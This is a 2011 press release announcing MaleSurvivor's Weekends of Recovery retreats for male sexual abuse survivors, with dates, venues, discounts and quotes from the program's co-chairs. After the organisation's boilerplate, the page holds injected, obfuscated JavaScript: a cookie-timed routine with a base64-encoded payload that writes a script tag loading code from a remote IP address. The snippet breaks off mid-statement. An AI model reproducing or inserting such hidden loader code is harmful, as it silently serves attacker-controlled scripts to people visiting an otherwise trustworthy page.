Co-chaired by Dr. Howard Fradkin and Jim Struve, LCSW, recovery program focuses on lifting the veil of shame surrounding male sexual victimization while offering a community of support for survivors
WASHINGTON, D.C.–(BUSINESS WIRE)–MaleSurvivor, a not-for-profit organization dedicated to overcoming sexual victimization in boys and men through its interactive website, membership program, weekend workshops, and bi-annual International Conference in New York City, has announced the 2011 schedule of events for its Weekends of Recovery. The program, launched in 2001 and serving male sexual abuse survivors from all over the world, is the only one of its kind, and aims to provide a safe haven for those suffering from the painful aftermath of sexual abuse.
“The Weekends of Recovery program provides a safe and secure environment for male sexual abuse survivors to break their silence, speak their truth, let go of their shame, find hope, and ultimately join with other male survivors in a community that can support their ongoing healing.”
Researchers have found that one in six males are sexually abused or assaulted. Most boyhood sexual abuse occurs between the ages of two and fifteen at the hands of adults commonly referred to as pedophiles. Although less frequently reported, rape and sexual assault are also a reality for many adult men.
Dr. Fradkin, co-chairperson of the Weekends of Recovery who has counseled over 1000 male survivors over the course of his twenty-eight-year career as a psychologist, said: “The Weekends of Recovery program provides a safe and secure environment for male sexual abuse survivors to break their silence, speak their truth, let go of their shame, find hope, and ultimately join with other male survivors in a community that can support their ongoing healing.”
Added co-chairperson Jim Struve, LCSW, who was recently awarded the 2010 Richard Gartner Award for Clinical Contribution for his work with male survivors: “Most men NEVER talk about their abuse because boys are socially taught they should withstand emotional and physical pain without complaining. Furthermore, their abuse often leads to depression, anxiety, suicidal thoughts, relationship difficulties, sexual orientation confusion, sexual dysfunctions, and difficulty believing it is possible to combine sex with love. During the Weekends of Recovery we address many of these misconceptions and offer the attendees tools for hope and healing as they bravely begin to lift the veil of shame around their sexual abuse.”
The Weekends of Recovery program is divided into two levels: Level I Weekends are open to all male survivors ages eighteen and older, regardless of where they are in their recovery process. Advanced Weekends are open only to alumni of MaleSurvivor Level I Weekends.
The 2011 Level I Weekends will take place on the following dates at these locations:
March 25 to 27: Sequoia Retreat Center, Santa Cruz, California (Registration now open)
May 13 to 15: Center for New Beginnings, Dahlonega, Georgia (one hour north of Atlanta)
July 15 to 17: Kempenfelt Conference Centre, Barrie, Ontario, Canada (one hour north of Toronto)
October 21 to 23: Hope Springs Institute, Peebles, Ohio (one-and-a-half hours southeast of Columbus, and one-and-a-half hours north of Cincinnati)
The 2011 Advanced Weekend of Recovery will take place September 9 to 11 at the Alta Lodge in Alta, Utah.
Early registration discounts of $50 will be available for the 1st month registration is open. Paid members of MaleSurvivor will also receive $75 off their registration cost. Registration costs will be posted when registration is open for each weekend, and are dependent upon the type of accommodation chosen.
For more information about male sexual victimization, or to learn more about MaleSurvivor’s Weekends of Recovery programs visit: http://www.MaleSurvivor.org. For all other inquiries please contact Howard Fradkin at: HFradkin[at]MaleSurvivor.org or call 1-800-738-4181.
About MaleSurvivor
MaleSurvivor (www.MaleSurvivor.org) is a not-for-profit organization committed to preventing, healing, and eliminating all forms of sexual victimization of boys and men through support, treatment, research, education, advocacy, and activism. Founded in 1994, the organization has reached over 50 million individuals whose lives have been forever impacted by sexual abuse. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘